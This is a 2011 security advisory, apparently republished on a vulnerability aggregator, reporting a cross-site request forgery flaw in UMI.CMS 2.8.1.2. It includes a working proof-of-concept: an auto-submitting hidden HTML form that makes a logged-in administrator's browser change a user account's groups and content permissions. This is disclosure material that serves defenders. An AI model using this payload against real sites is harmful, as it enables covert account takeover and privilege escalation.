Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:25636
HistoryFeb 08, 2011 - 12:00 a.m.

HTB22812: XSRF (CSRF) in UMI.CMS

2011-02-0800:00:00
vulners.com
29

Vulnerability ID: HTB22812
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_umi_cms.html
Product: UMI.CMS
Vendor: umisoft ( http://www.umi-cms.ru/ )
Vulnerable Version: 2.8.1.2
Vendor Notification: 25 January 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/users/edit/USERID/do/" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://[host]/admin/users/edit/USERID/do/" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="referer" value="google">
<input type="hidden" name="domain" value="[host]">
<input type="hidden" name="type-id" value="4">
<input type="hidden" name="data[USERID][login]" value="test">
<input type="hidden" name="data[USERID][password][]" value="">
<input type="hidden" name="data[USERID][e-mail]" value="[email protected]">
<input type="hidden" name="data[USERID][groups][]" value="0">
<input type="hidden" name="data[USERID][groups][]" value="2374">
<input type="hidden" name="data[USERID][groups][]" value="0">
<input type="hidden" name="data[USERID][is_activated]" value="0">
<input type="hidden" name="data[USERID][is_activated]" value="1">
<input type="hidden" name="data[USERID][preffered_currency]" value="">
<input type="hidden" name="data[USERID][lname]" value="">
<input type="hidden" name="data[USERID][fname]" value="">
<input type="hidden" name="data[USERID][father_name]" value="">
<input type="hidden" name="ps_m_perms[content]" value="content">
<input type="hidden" name="domain[1]" value="0">
<input type="hidden" name="domain[1]" value="1">
<input type="hidden" name="content[content]" value="1">
<input type="hidden" name="content[sitetree]" value="1">
<input type="hidden" name="save-mode" value="Save">

</form>
<script>
document.main.submit();
</script>